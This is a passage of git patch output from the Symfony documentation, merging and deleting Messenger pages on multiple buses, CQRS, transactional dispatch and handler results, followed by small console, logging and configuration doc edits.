 Messenger gives you a single message bus service by default. But, you can configure
 as many as you want, creating "command", "query" or "event" buses and controlling
-their middleware. See :doc:`/messenger/multiple_buses`.
+their middleware.
+
+A common architecture when building applications is to separate commands from
+queries. Commands are actions that do something and queries fetch data. This
+is called CQRS (Command Query Responsibility Segregation). See Martin Fowler's
+`article about CQRS`_ to learn more. This architecture could be used together
+with the Messenger component by defining multiple buses.
+
+A **command bus** is a little different from a **query bus**. For example, command
+buses usually don't provide any results and query buses are rarely asynchronous.
+You can configure these buses and their rules by using middleware.
+
+It might also be a good idea to separate actions from reactions by introducing
+an **event bus**. The event bus could have zero or more subscribers.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        framework:
+            messenger:
+                # The bus that is going to be injected when injecting MessageBusInterface
+                default_bus: command.bus
+                buses:
+                    command.bus:
+                        middleware:
+                            - validation
+                            - doctrine_transaction
+                    query.bus:
+                        middleware:
+                            - validation
+                    event.bus:
+                        default_middleware:
+                            enabled: true
+                            # set "allow_no_handlers" to true (default is false) to allow having
+                            # no handler configured for this bus without throwing an exception
+                            allow_no_handlers: false
+                            # set "allow_no_senders" to false (default is true) to throw an exception
+                            # if no sender is configured for this bus
+                            allow_no_senders: true
+                        middleware:
+                            - validation
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- The bus that is going to be injected when injecting MessageBusInterface -->
+                <framework:messenger default-bus="command.bus">
+                    <framework:bus name="command.bus">
+                        <framework:middleware id="validation"/>
+                        <framework:middleware id="doctrine_transaction"/>
+                    </framework:bus>
+                    <framework:bus name="query.bus">
+                        <framework:middleware id="validation"/>
+                    </framework:bus>
+                    <framework:bus name="event.bus">
+                        <!-- set "allow-no-handlers" to true (default is false) to allow having
+                              no handler configured for this bus without throwing an exception -->
+                        <!-- set "allow-no-senders" to false (default is true) to throw an exception
+                             if no sender is configured for this bus -->
+                        <framework:default-middleware enabled="true" allow-no-handlers="false" allow-no-senders="true"/>
+                        <framework:middleware id="validation"/>
+                    </framework:bus>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            // The bus that is going to be injected when injecting MessageBusInterface
+            $framework->messenger()->defaultBus('command.bus');
+
+            $commandBus = $framework->messenger()->bus('command.bus');
+            $commandBus->middleware()->id('validation');
+            $commandBus->middleware()->id('doctrine_transaction');
+
+            $queryBus = $framework->messenger()->bus('query.bus');
+            $queryBus->middleware()->id('validation');
+
+            $eventBus = $framework->messenger()->bus('event.bus');
+            $eventBus->defaultMiddleware()
+                ->enabled(true)
+                // set "allowNoHandlers" to true (default is false) to allow having
+                // no handler configured for this bus without throwing an exception
+                ->allowNoHandlers(false)
+                // set "allowNoSenders" to false (default is true) to throw an exception
+                // if no sender is configured for this bus
+                ->allowNoSenders(true)
+            ;
+            $eventBus->middleware()->id('validation');
+        };
+
+.. versionadded:: 6.2
+
+    The ``allow_no_senders`` option was introduced in Symfony 6.2.
+
+This will create three new services:
+
+* ``command.bus``: autowireable with the :class:`Symfony\\Component\\Messenger\\MessageBusInterface`
+  type-hint (because this is the ``default_bus``);
+
+* ``query.bus``: autowireable with ``MessageBusInterface $queryBus``;
+
+* ``event.bus``: autowireable with ``MessageBusInterface $eventBus``.
+
+Restrict Handlers per Bus
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, each handler will be available to handle messages on *all*
+of your buses. To prevent dispatching a message to the wrong bus without an error,
+you can restrict each handler to a specific bus using the ``messenger.message_handler`` tag:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\MessageHandler\SomeCommandHandler:
+                tags: [{ name: messenger.message_handler, bus: command.bus }]
+                # prevent handlers from being registered twice (or you can remove
+                # the MessageHandlerInterface that autoconfigure uses to find handlers)
+                autoconfigure: false
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\MessageHandler\SomeCommandHandler">
+                    <tag name="messenger.message_handler" bus="command.bus"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        $container->services()
+            ->set(App\MessageHandler\SomeCommandHandler::class)
+            ->tag('messenger.message_handler', ['bus' => 'command.bus']);
+
+This way, the ``App\MessageHandler\SomeCommandHandler`` handler will only be
+known by the ``command.bus`` bus.
+
+You can also automatically add this tag to a number of classes by using
+the :ref:`_instanceof service configuration <di-instanceof>`. Using this,
+you can determine the message bus based on an implemented interface:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            _instanceof:
+                # all services implementing the CommandHandlerInterface
+                # will be registered on the command.bus bus
+                App\MessageHandler\CommandHandlerInterface:
+                    tags:
+                        - { name: messenger.message_handler, bus: command.bus }
+
+                # while those implementing QueryHandlerInterface will be
+                # registered on the query.bus bus
+                App\MessageHandler\QueryHandlerInterface:
+                    tags:
+                        - { name: messenger.message_handler, bus: query.bus }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <!-- all services implementing the CommandHandlerInterface
+                     will be registered on the command.bus bus -->
+                <instanceof id="App\MessageHandler\CommandHandlerInterface">
+                    <tag name="messenger.message_handler" bus="command.bus"/>
+                </instanceof>
+
+                <!-- while those implementing QueryHandlerInterface will be
+                     registered on the query.bus bus -->
+                <instanceof id="App\MessageHandler\QueryHandlerInterface">
+                    <tag name="messenger.message_handler" bus="query.bus"/>
+                </instanceof>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\MessageHandler\CommandHandlerInterface;
+        use App\MessageHandler\QueryHandlerInterface;
+
+        return function(ContainerConfigurator $container): void {
+            $services = $container->services();
+
+            // ...
+
+            // all services implementing the CommandHandlerInterface
+            // will be registered on the command.bus bus
+            $services->instanceof(CommandHandlerInterface::class)
+                ->tag('messenger.message_handler', ['bus' => 'command.bus']);
+
+            // while those implementing QueryHandlerInterface will be
+            // registered on the query.bus bus
+            $services->instanceof(QueryHandlerInterface::class)
+                ->tag('messenger.message_handler', ['bus' => 'query.bus']);
+        };
+
+Debugging the Buses
+~~~~~~~~~~~~~~~~~~~
+
+The ``debug:messenger`` command lists available messages & handlers per bus.
+You can also restrict the list to a specific bus by providing its name as an argument.
+
+.. code-block:: terminal
+
+    $ php bin/console debug:messenger
+
+      Messenger
+      =========
+
+      command.bus
+      -----------
+
+       The following messages can be dispatched:
+
+       ---------------------------------------------------------------------------------------
+        App\Message\DummyCommand
+            handled by App\MessageHandler\DummyCommandHandler
+        App\Message\MultipleBusesMessage
+            handled by App\MessageHandler\MultipleBusesMessageHandler
+       ---------------------------------------------------------------------------------------
+
+      query.bus
+      ---------
+
+       The following messages can be dispatched:
+
+       ---------------------------------------------------------------------------------------
+        App\Message\DummyQuery
+            handled by App\MessageHandler\DummyQueryHandler
+        App\Message\MultipleBusesMessage
+            handled by App\MessageHandler\MultipleBusesMessageHandler
+       ---------------------------------------------------------------------------------------
+
+.. tip::
+
+    The command will also show the PHPDoc description of the message and handler classes.
 
 Redispatching a Message
 -----------------------
@@ -2673,3 +3181,4 @@ Learn more
 .. _`LISTEN/NOTIFY`: https://www.postgresql.org/docs/current/sql-notify.html
 .. _`AMQProxy`: https://github.com/cloudamqp/amqproxy
 .. _`high connection churn`: https://www.rabbitmq.com/connections.html#high-connection-churn
+.. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html
diff --git a/messenger/dispatch_after_current_bus.rst b/messenger/dispatch_after_current_bus.rst
deleted file mode 100644
index ae810a7fee1..00000000000
--- a/messenger/dispatch_after_current_bus.rst
+++ /dev/null
@@ -1,127 +0,0 @@
-Transactional Messages: Handle New Messages After Handling is Done
-==================================================================
-
-A message handler can ``dispatch`` new messages while handling others, to either the
-same or a different bus (if the application has
-:doc:`multiple buses </messenger/multiple_buses>`). Any errors or exceptions that
-occur during this process can have unintended consequences, such as:
-
-- If using the ``DoctrineTransactionMiddleware`` and a dispatched message throws
-  an exception, then any database transactions in the original handler will be
-  rolled back.
-- If the message is dispatched to a different bus, then the dispatched message
-  will be handled even if some code later in the current handler throws an
-  exception.
-
-An Example ``RegisterUser`` Process
------------------------------------
-
-Let's take the example of an application with both a *command* and an *event*
-bus. The application dispatches a command named ``RegisterUser`` to the command
-bus. The command is handled by the ``RegisterUserHandler`` which creates a
-``User`` object, stores that object to a database and dispatches a
-``UserRegistered`` message to the event bus.
-
-There are many handlers to the ``UserRegistered`` message, one handler may send
-a welcome email to the new user. We are using the ``DoctrineTransactionMiddleware``
-to wrap all database queries in one database transaction.
-
-**Problem 1:** If an exception is thrown when sending the welcome email, then
-the user will not be created because the ``DoctrineTransactionMiddleware`` will
-rollback the Doctrine transaction, in which the user has been created.
-
-**Problem 2:** If an exception is thrown when saving the user to the database,
-the welcome email is still sent because it is handled asynchronously.
-
-DispatchAfterCurrentBusMiddleware Middleware
---------------------------------------------
-
-For many applications, the desired behavior is to *only* handle messages that
-are dispatched by a handler once that handler has fully finished. This can be done by
-using the ``DispatchAfterCurrentBusMiddleware`` and adding a
-``DispatchAfterCurrentBusStamp`` stamp to :ref:`the message Envelope <messenger-envelopes>`::
-
-    // src/Messenger/CommandHandler/RegisterUserHandler.php
-    namespace App\Messenger\CommandHandler;
-
-    use App\Entity\User;
-    use App\Messenger\Command\RegisterUser;
-    use App\Messenger\Event\UserRegistered;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\Messenger\Envelope;
-    use Symfony\Component\Messenger\MessageBusInterface;
-    use Symfony\Component\Messenger\Stamp\DispatchAfterCurrentBusStamp;
-
-    class RegisterUserHandler
-    {
-        public function __construct(
-            private MessageBusInterface $eventBus,
-            private EntityManagerInterface $em,
-        ) {
-        }
-
-        public function __invoke(RegisterUser $command): void
-        {
-            $user = new User($command->getUuid(), $command->getName(), $command->getEmail());
-            $this->em->persist($user);
-
-            // The DispatchAfterCurrentBusStamp marks the event message to be handled
-            // only if this handler does not throw an exception.
-
-            $event = new UserRegistered($command->getUuid());
-            $this->eventBus->dispatch(
-                (new Envelope($event))
-                    ->with(new DispatchAfterCurrentBusStamp())
-            );
-
-            // ...
-        }
-    }
-
-.. code-block:: php
-
-    // src/Messenger/EventSubscriber/WhenUserRegisteredThenSendWelcomeEmail.php
-    namespace App\Messenger\EventSubscriber;
-
-    use App\Entity\User;
-    use App\Messenger\Event\UserRegistered;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\Mailer\MailerInterface;
-    use Symfony\Component\Mime\RawMessage;
-
-    class WhenUserRegisteredThenSendWelcomeEmail
-    {
-        public function __construct(
-            private MailerInterface $mailer,
-            EntityManagerInterface $em,
-        ) {
-        }
-
-        public function __invoke(UserRegistered $event): void
-        {
-            $user = $this->em->getRepository(User::class)->find($event->getUuid());
-
-            $this->mailer->send(new RawMessage('Welcome '.$user->getFirstName()));
-        }
-    }
-
-This means that the ``UserRegistered`` message would not be handled until
-*after* the ``RegisterUserHandler`` had completed and the new ``User`` was
-persisted to the database. If the ``RegisterUserHandler`` encounters an
-exception, the ``UserRegistered`` event will never be handled. And if an
-exception is thrown while sending the welcome email, the Doctrine transaction
-will not be rolled back.
-
-.. note::
-
-    If ``WhenUserRegisteredThenSendWelcomeEmail`` throws an exception, that
-    exception will be wrapped into a ``DelayedMessageHandlingException``. Using
-    ``DelayedMessageHandlingException::getExceptions`` will give you all
-    exceptions that are thrown while handling a message with the
-    ``DispatchAfterCurrentBusStamp``.
-
-The ``dispatch_after_current_bus`` middleware is enabled by default. If you're
-configuring your middleware manually, be sure to register
-``dispatch_after_current_bus`` before ``doctrine_transaction`` in the middleware
-chain. Also, the ``dispatch_after_current_bus`` middleware must be loaded for
-*all* of the buses being used.
diff --git a/messenger/handler_results.rst b/messenger/handler_results.rst
deleted file mode 100644
index 39bab140a58..00000000000
--- a/messenger/handler_results.rst
+++ /dev/null
@@ -1,99 +0,0 @@
-Getting Results from your Handler
-=================================
-
-When a message is handled, the :class:`Symfony\\Component\\Messenger\\Middleware\\HandleMessageMiddleware`
-adds a :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp` for each object that handled the message.
-You can use this to get the value returned by the handler(s)::
-
-    use Symfony\Component\Messenger\MessageBusInterface;
-    use Symfony\Component\Messenger\Stamp\HandledStamp;
-
-    $envelope = $messageBus->dispatch(new SomeMessage());
-
-    // get the value that was returned by the last message handler
-    $handledStamp = $envelope->last(HandledStamp::class);
-    $handledStamp->getResult();
-
-    // or get info about all of handlers
-    $handledStamps = $envelope->all(HandledStamp::class);
-
-Working with Command & Query Buses
-----------------------------------
-
-The Messenger component can be used in CQRS architectures where command & query
-buses are central pieces of the application. Read Martin Fowler's
-`article about CQRS`_ to learn more and
-:doc:`how to configure multiple buses </messenger/multiple_buses>`.
-
-As queries are usually synchronous and expected to be handled once,
-getting the result from the handler is a common need.
-
-A :class:`Symfony\\Component\\Messenger\\HandleTrait` exists to get the result
-of the handler when processing synchronously. It also ensures that exactly one
-handler is registered. The ``HandleTrait`` can be used in any class that has a
-``$messageBus`` property::
-
-    // src/Action/ListItems.php
-    namespace App\Action;
-
-    use App\Message\ListItemsQuery;
-    use App\MessageHandler\ListItemsQueryResult;
-    use Symfony\Component\Messenger\HandleTrait;
-    use Symfony\Component\Messenger\MessageBusInterface;
-
-    class ListItems
-    {
-        use HandleTrait;
-
-        public function __construct(
-            private MessageBusInterface $messageBus,
-        ) {
-        }
-
-        public function __invoke(): void
-        {
-            $result = $this->query(new ListItemsQuery(/* ... */));
-
-            // Do something with the result
-            // ...
-        }
-
-        // Creating such a method is optional, but allows type-hinting the result
-        private function query(ListItemsQuery $query): ListItemsQueryResult
-        {
-            return $this->handle($query);
-        }
-    }
-
-Hence, you can use the trait to create command & query bus classes.
-For example, you could create a special ``QueryBus`` class and inject it
-wherever you need a query bus behavior instead of the ``MessageBusInterface``::
-
-    // src/MessageBus/QueryBus.php
-    namespace App\MessageBus;
-
-    use Symfony\Component\Messenger\Envelope;
-    use Symfony\Component\Messenger\HandleTrait;
-    use Symfony\Component\Messenger\MessageBusInterface;
-
-    class QueryBus
-    {
-        use HandleTrait;
-
-        public function __construct(
-            private MessageBusInterface $messageBus,
-        ) {
-        }
-
-        /**
-         * @param object|Envelope $query
-         *
-         * @return mixed The handler returned value
-         */
-        public function query($query): mixed
-        {
-            return $this->handle($query);
-        }
-    }
-
-.. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
deleted file mode 100644
index 49e4d3e568e..00000000000
--- a/messenger/multiple_buses.rst
+++ /dev/null
@@ -1,283 +0,0 @@
-Multiple Buses
-==============
-
-A common architecture when building applications is to separate commands from
-queries. Commands are actions that do something and queries fetch data. This
-is called CQRS (Command Query Responsibility Segregation). See Martin Fowler's
-`article about CQRS`_ to learn more. This architecture could be used together
-with the Messenger component by defining multiple buses.
-
-A **command bus** is a little different from a **query bus**. For example, command
-buses usually don't provide any results and query buses are rarely asynchronous.
-You can configure these buses and their rules by using middleware.
-
-It might also be a good idea to separate actions from reactions by introducing
-an **event bus**. The event bus could have zero or more subscribers.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        framework:
-            messenger:
-                # The bus that is going to be injected when injecting MessageBusInterface
-                default_bus: command.bus
-                buses:
-                    command.bus:
-                        middleware:
-                            - validation
-                            - doctrine_transaction
-                    query.bus:
-                        middleware:
-                            - validation
-                    event.bus:
-                        default_middleware:
-                            enabled: true
-                            # set "allow_no_handlers" to true (default is false) to allow having
-                            # no handler configured for this bus without throwing an exception
-                            allow_no_handlers: false
-                            # set "allow_no_senders" to false (default is true) to throw an exception
-                            # if no sender is configured for this bus
-                            allow_no_senders: true
-                        middleware:
-                            - validation
-
-    .. code-block:: xml
-
-        <!-- config/packages/messenger.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <!-- The bus that is going to be injected when injecting MessageBusInterface -->
-                <framework:messenger default-bus="command.bus">
-                    <framework:bus name="command.bus">
-                        <framework:middleware id="validation"/>
-                        <framework:middleware id="doctrine_transaction"/>
-                    </framework:bus>
-                    <framework:bus name="query.bus">
-                        <framework:middleware id="validation"/>
-                    </framework:bus>
-                    <framework:bus name="event.bus">
-                        <!-- set "allow-no-handlers" to true (default is false) to allow having
-                              no handler configured for this bus without throwing an exception -->
-                        <!-- set "allow-no-senders" to false (default is true) to throw an exception
-                             if no sender is configured for this bus -->
-                        <framework:default-middleware enabled="true" allow-no-handlers="false" allow-no-senders="true"/>
-                        <framework:middleware id="validation"/>
-                    </framework:bus>
-                </framework:messenger>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/messenger.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework): void {
-            // The bus that is going to be injected when injecting MessageBusInterface
-            $framework->messenger()->defaultBus('command.bus');
-
-            $commandBus = $framework->messenger()->bus('command.bus');
-            $commandBus->middleware()->id('validation');
-            $commandBus->middleware()->id('doctrine_transaction');
-
-            $queryBus = $framework->messenger()->bus('query.bus');
-            $queryBus->middleware()->id('validation');
-
-            $eventBus = $framework->messenger()->bus('event.bus');
-            $eventBus->defaultMiddleware()
-                ->enabled(true)
-                // set "allowNoHandlers" to true (default is false) to allow having
-                // no handler configured for this bus without throwing an exception
-                ->allowNoHandlers(false)
-                // set "allowNoSenders" to false (default is true) to throw an exception
-                // if no sender is configured for this bus
-                ->allowNoSenders(true)
-            ;
-            $eventBus->middleware()->id('validation');
-        };
-
-.. versionadded:: 6.2
-
-    The ``allow_no_senders`` option was introduced in Symfony 6.2.
-
-This will create three new services:
-
-* ``command.bus``: autowireable with the :class:`Symfony\\Component\\Messenger\\MessageBusInterface`
-  type-hint (because this is the ``default_bus``);
-
-* ``query.bus``: autowireable with ``MessageBusInterface $queryBus``;
-
-* ``event.bus``: autowireable with ``MessageBusInterface $eventBus``.
-
-Restrict Handlers per Bus
--------------------------
-
-By default, each handler will be available to handle messages on *all*
-of your buses. To prevent dispatching a message to the wrong bus without an error,
-you can restrict each handler to a specific bus using the ``messenger.message_handler`` tag:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            App\MessageHandler\SomeCommandHandler:
-                tags: [{ name: messenger.message_handler, bus: command.bus }]
-                # prevent handlers from being registered twice (or you can remove
-                # the MessageHandlerInterface that autoconfigure uses to find handlers)
-                autoconfigure: false
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="App\MessageHandler\SomeCommandHandler">
-                    <tag name="messenger.message_handler" bus="command.bus"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        $container->services()
-            ->set(App\MessageHandler\SomeCommandHandler::class)
-            ->tag('messenger.message_handler', ['bus' => 'command.bus']);
-
-This way, the ``App\MessageHandler\SomeCommandHandler`` handler will only be
-known by the ``command.bus`` bus.
-
-You can also automatically add this tag to a number of classes by using
-the :ref:`_instanceof service configuration <di-instanceof>`. Using this,
-you can determine the message bus based on an implemented interface:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            _instanceof:
-                # all services implementing the CommandHandlerInterface
-                # will be registered on the command.bus bus
-                App\MessageHandler\CommandHandlerInterface:
-                    tags:
-                        - { name: messenger.message_handler, bus: command.bus }
-
-                # while those implementing QueryHandlerInterface will be
-                # registered on the query.bus bus
-                App\MessageHandler\QueryHandlerInterface:
-                    tags:
-                        - { name: messenger.message_handler, bus: query.bus }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <!-- all services implementing the CommandHandlerInterface
-                     will be registered on the command.bus bus -->
-                <instanceof id="App\MessageHandler\CommandHandlerInterface">
-                    <tag name="messenger.message_handler" bus="command.bus"/>
-                </instanceof>
-
-                <!-- while those implementing QueryHandlerInterface will be
-                     registered on the query.bus bus -->
-                <instanceof id="App\MessageHandler\QueryHandlerInterface">
-                    <tag name="messenger.message_handler" bus="query.bus"/>
-                </instanceof>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\MessageHandler\CommandHandlerInterface;
-        use App\MessageHandler\QueryHandlerInterface;
-
-        return function(ContainerConfigurator $container): void {
-            $services = $container->services();
-
-            // ...
-
-            // all services implementing the CommandHandlerInterface
-            // will be registered on the command.bus bus
-            $services->instanceof(CommandHandlerInterface::class)
-                ->tag('messenger.message_handler', ['bus' => 'command.bus']);
-
-            // while those implementing QueryHandlerInterface will be
-            // registered on the query.bus bus
-            $services->instanceof(QueryHandlerInterface::class)
-                ->tag('messenger.message_handler', ['bus' => 'query.bus']);
-        };
-
-Debugging the Buses
--------------------
-
-The ``debug:messenger`` command lists available messages & handlers per bus.
-You can also restrict the list to a specific bus by providing its name as an argument.
-
-.. code-block:: terminal
-
-    $ php bin/console debug:messenger
-
-      Messenger
-      =========
-
-      command.bus
-      -----------
-
-       The following messages can be dispatched:
-
-       ---------------------------------------------------------------------------------------
-        App\Message\DummyCommand
-            handled by App\MessageHandler\DummyCommandHandler
-        App\Message\MultipleBusesMessage
-            handled by App\MessageHandler\MultipleBusesMessageHandler
-       ---------------------------------------------------------------------------------------
-
-      query.bus
-      ---------
-
-       The following messages can be dispatched:
-
-       ---------------------------------------------------------------------------------------
-        App\Message\DummyQuery
-            handled by App\MessageHandler\DummyQueryHandler
-        App\Message\MultipleBusesMessage
-            handled by App\MessageHandler\MultipleBusesMessageHandler
-       ---------------------------------------------------------------------------------------
-
-.. tip::
-
-    The command will also show the PHPDoc description of
-    the message and handler classes.
-
-.. _article about CQRS: https://martinfowler.com/bliki/CQRS.html

From aee3dc67e77fbb124988e527a6841b7e81110a9c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 17:42:37 +0200
Subject: [PATCH 5198/7107] [Console] Warn about writing contents and terminal
 height

---
 console.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/console.rst b/console.rst
index 045091d7c50..2cf6234d92c 100644
--- a/console.rst
+++ b/console.rst
@@ -374,6 +374,11 @@ Output sections let you manipulate the Console output in advanced ways, such as
 are updated independently and :ref:`appending rows to tables <console-modify-rendered-tables>`
 that have already been rendered.
 
+.. caution::
+
+    Terminals only allow overwriting the visible content, so you must take into
+    account the console height when trying to write/overwrite section contents.
+
 Console Input
 -------------
 

From bcc295af0b84c2e975c9e9aab8f7d60f83deb80f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 22 Sep 2023 09:14:23 +0200
Subject: [PATCH 5199/7107] [Console] Mention `Terminal`

---
 console.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/console.rst b/console.rst
index 2cf6234d92c..86c3edbf2cd 100644
--- a/console.rst
+++ b/console.rst
@@ -582,6 +582,24 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
     :class:`Symfony\\Component\\Console\\Application`
     and extend the normal ``\PHPUnit\Framework\TestCase``.
 
+When testing your commands, it could be useful to understand how your command
+reacts on different settings like the width and the height of the terminal.
+Thanks to the :class:`Symfony\\Component\\Console\\Terminal` class, you can
+have access to such information::
+
+    use Symfony\Component\Console\Terminal;
+
+    $terminal = new Terminal();
+
+    // access to number of lines available
+    $height = $terminal->getHeight();
+
+    // access to number of columns available
+    $width = $terminal->getWidth();
+
+By default, the ``Terminal`` class uses the values of the
+``LINES`` and ``COLUMNS`` system environment variables.
+
 Logging Command Errors
 ----------------------
 

From 7cf92409e1278d0d7c3e7bc8e7eccf403f726dd0 Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Fri, 22 Sep 2023 10:41:17 +0400
Subject: [PATCH 5200/7107] Update invalid return custom processor

---
 logging/processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 6954e9117c1..856350aaef5 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -37,7 +37,7 @@ using a processor::
             try {
                 $session = $this->requestStack->getSession();
             } catch (SessionNotFoundException $e) {
-                return;
+                return $record;
             }
             if (!$session->isStarted()) {
                 return $record;

From d83bfd1b95ca77e3c39ef3551649fa235dc7c425 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Sep 2023 10:42:34 +0200
Subject: [PATCH 5201/7107] Tweaks

---
 configuration.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 930d909f0c3..9703dc24215 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -674,9 +674,9 @@ To define the value of an env var, you have several options:
 * :ref:`Encrypt the value as a secret <configuration-secrets>`;
 * Set the value as a real environment variable in your shell or your web server.
 
-It is possible to define an env var default value by defining a parameter with
-the same name. In the following example, we define a default value for the
-``SECRET`` env var if it has not been defined anywhere:
+If your application tries to use an env var that hasn't been defined, you'll see
+an exception. You can prevent that by defining a default value for the env var.
+To do so, define a parameter with the same name as the env var using this syntax:
 
 .. configuration-block::
 
@@ -684,6 +684,7 @@ the same name. In the following example, we define a default value for the
 
         # config/packages/framework.yaml
         parameters:
+            # if the SECRET env var value is not defined anywhere, Symfony uses this value
             env(SECRET): 'some_secret'
 
         # ...
@@ -701,6 +702,7 @@ the same name. In the following example, we define a default value for the
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <parameters>
+                <!-- if the SECRET env var value is not defined anywhere, Symfony uses this value -->
                 <parameter key="env(SECRET)">some_secret</parameter>
             </parameters>
 
@@ -716,6 +718,7 @@ the same name. In the following example, we define a default value for the
         use Symfony\Config\FrameworkConfig;
 
         return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+            // if the SECRET env var value is not defined anywhere, Symfony uses this value
             $container->setParameter('env(SECRET)', 'some_secret');
 
             // ...

From ca1885a513432cf28268fe4f3c9ac1b0f52efba5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Sep 2023 10:56:32 +0200
Subject: [PATCH 5202/7107] Tweaks

---
 console.rst | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/console.rst b/console.rst
index 86c3edbf2cd..e9e3ebea4cc 100644
--- a/console.rst
+++ b/console.rst
@@ -584,22 +584,19 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 
 When testing your commands, it could be useful to understand how your command
 reacts on different settings like the width and the height of the terminal.
-Thanks to the :class:`Symfony\\Component\\Console\\Terminal` class, you can
-have access to such information::
+You have access to such information thanks to the
+:class:`Symfony\\Component\\Console\\Terminal` class:
 
     use Symfony\Component\Console\Terminal;
 
     $terminal = new Terminal();
 
-    // access to number of lines available
+    // gets the number of lines available
     $height = $terminal->getHeight();
 
-    // access to number of columns available
+    // gets the number of columns available
     $width = $terminal->getWidth();
 
-By default, the ``Terminal`` class uses the values of the
-``LINES`` and ``COLUMNS`` system environment variables.
-
 Logging Command Errors
 ----------------------
 

From 76c03ac7308abb8d438aea38fe4beee412658cb9 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 22 Sep 2023 09:19:37 +0200
Subject: [PATCH 5203/7107] [Console] Mention `Terminal` color mode support

---
